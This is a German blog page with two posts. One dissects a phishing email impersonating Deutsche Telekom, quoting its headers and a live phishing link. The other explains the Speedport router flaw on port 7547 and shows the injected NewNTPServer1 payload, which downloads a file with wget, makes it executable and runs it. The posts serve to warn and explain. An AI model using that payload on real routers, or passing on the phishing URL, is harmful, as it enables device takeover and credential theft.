Gut gefälschte Emails der Deutschen Telekom im Umlauf

Zum Glück sind nicht alle älteren Menschen leichtgläubige Narren oder Technikneuländer. Deswegen erreichte mich heute morgen ein Anruf, ob ich da mal einen Blick drauf werfen könnte.

Gut gefälschte Emails der Deutschen Telekom im Umlauf

Hier erst einmal der Inhalt der Mail mit dem echten Link(*), also nicht drauf drücken:

„Sehr geehrter Kunde,

Ab dem 16. Oktober 2021 werden wir keine E-Mail-Adressen mehr unterstützen,
deren Kontaktinformationen noch nicht aktualisiert wurden.

Bitte besuchen Sie das Telekom Kundencenter <https://elpregon.net.ve/ws.php> für weitere Informationen.

Diese Aktion soll dazu beitragen, Missbrauch auf unseren Servern zu verhindern und Ihre Privatsphäre im Internet und mehr zu schützen.

Ein Bestätigungscode <https://elpregon.net.ve/ws.php> wird Ihnen innerhalb von 24 Stunden per E-Mail zugesandt, sobald dies abgeschlossen ist.

Freundliche Grüße,
Ihre Telekom“

*) In der normalen HTML Version war der Link natürlich nicht direkt zu sehen, weil ist ja als HTML gekommen …

Keine Rechtschreibfehler, alles in UTF-8 mit Umlauten(*). Jetzt mal der Header dazu:

Return-Path: <teldatenschutzen@t-online.de>
Received: from fwd79.dcpf.telekom.de ([10.223.144.105])
         by ehead21b02.aul.t-online.de with LMTP
         id KLbFJDtIaWGlcwAASjMwlQ
(envelope-from <teldatenschutzen@t-online.de>); Fri, 15 Oct 2021 11:22:03 +0200
Received: from spica40.aul.t-online.de ([172.20.102.122]) by fwd79.dcpf.telekom.de
         with esmtp id 1mbJIu-040aDA0; Fri, 15 Oct 2021 11:15:05 +0200
Received: from 35.178.149.175:9839 by cmpweb25.aul.t-online.de with HTTP/1.1 (Lisa V6-9-3-0.0 on API V5-37-0-0); Fri, 15 Oct 21 11:15:04 +0200
Received: from 172.20.102.138:41152 by spica40.aul.t-online.de:8080; Fri, 15 Oct 2021 11:15:04 +0200 (CEST)
Date: Fri, 15 Oct 2021 11:15:04 +0200 (CEST)
From: Telekom Logın <Noreply.>
<teldatenschutzen@t-online.de>kripo
Sender: Telekom Logın <Noreply.>
<teldatenschutzen@t-online.de>
Reply-To: Telekom Logın <Noreply.>
<teldatenschutzen@t-online.de>
To: „noreply@telekom.de“ <noreply@telekom.de>
Message-ID: <1634289304044.4922465.570724ce670bd12ae45b9b590bd6329927fd6b11@spica.telekom.de>
Subject: Mıtteılung Sıe Ihre Anmeldung

*) Umlaute in der Mail, aber nicht korrekt in den Headerfeldern, aber wer würde da als Empfänger schon drauf achten?

Auch wenn in der Email alles korrekt geschrieben wurde, ist gerade im Header der einzige Fehler der Scammer zu finden: „Mıtteılung Sıe Ihre Anmeldung“ ist natürlich Blödsinn. Auch die Emailadresse mit dem Schreibfehler ist offensichtlich: <teldatenschutzen@t-online.de>

Erschreckend ist, daß die Email nur interne Telekomsystem in den Received-Headern hat, von denen die letzten zwei auch gefälscht sein könnten, es aber wohl nicht sind. Nehmen wir das mal so wie es dort steht, dann wurde über irgendeine DTAG-API via HTTP diese Fake-Mail eingeliefert und an echte DTAG Kunden verschickt. Ich vermute ein WebMail oder gleich den „E-Mailcenter“ der DTAG selbst unter Zuhilfenahme von gehackten Zugangsdaten.

Ob das so war und ob 2FA helfen würde, könnte uns nur die DTAG beantworten, die ohne Twitter notorisch schwierig erreichbar ist.Was ist so schwer an einer Emaildresse für Security-Fragen?

Für Euch zu merken: IMMER Absender checken, LINKS checken und bei DTAG Mails steht immer der Anschluß und der Name des Kunden drin!

Speedportrouter der DTAG von Sicherheitsloch betroffen

Jetzt ist es endlich final, die DSL-Speedportrouter der Deutschen Telekom haben ein Sicherheitsloch auf Port 7547 :

https://isc.sans.edu/diary/Port+7547+SOAP+Remote+Code+Execution+Attack+Against+DSL+Modems/21759

und ein echt dreckiges dazu, weil die Kisten a) auf jeden Zugriff reagieren und b) eine Remote-Execution möglich ist. Der Hack funktioniert so:

<NewNTPServer1>
`cd /tmp;wget http://angreiferszum nachladen von code/1>;chmod 777 1;./1`
</NewNTPServer1>
<NewNTPServer2></NewNTPServer2>
<NewNTPServer3></NewNTPServer3>
<NewNTPServer4></NewNTPServer4>
<NewNTPServer5></NewNTPServer5>

Natürlich gehört zu dem Request noch mehr, aber das sind die Grundlagen und aus dem Kontext kann man ersehen, daß hier einfach ein parameter aus dem Web genommen wird und an die Bash weitergereicht wird ohne den Inhalt auf Konsistenz zu prüfen. Ein einfacher Test, ob da ein Domainname/IP drinsteht, hätte das bundesweite Chaos vom Wochenende verhindert.

Die DSL-Router wurden Ihnen „proudly presented by Zyxel“ !!! Amis 😉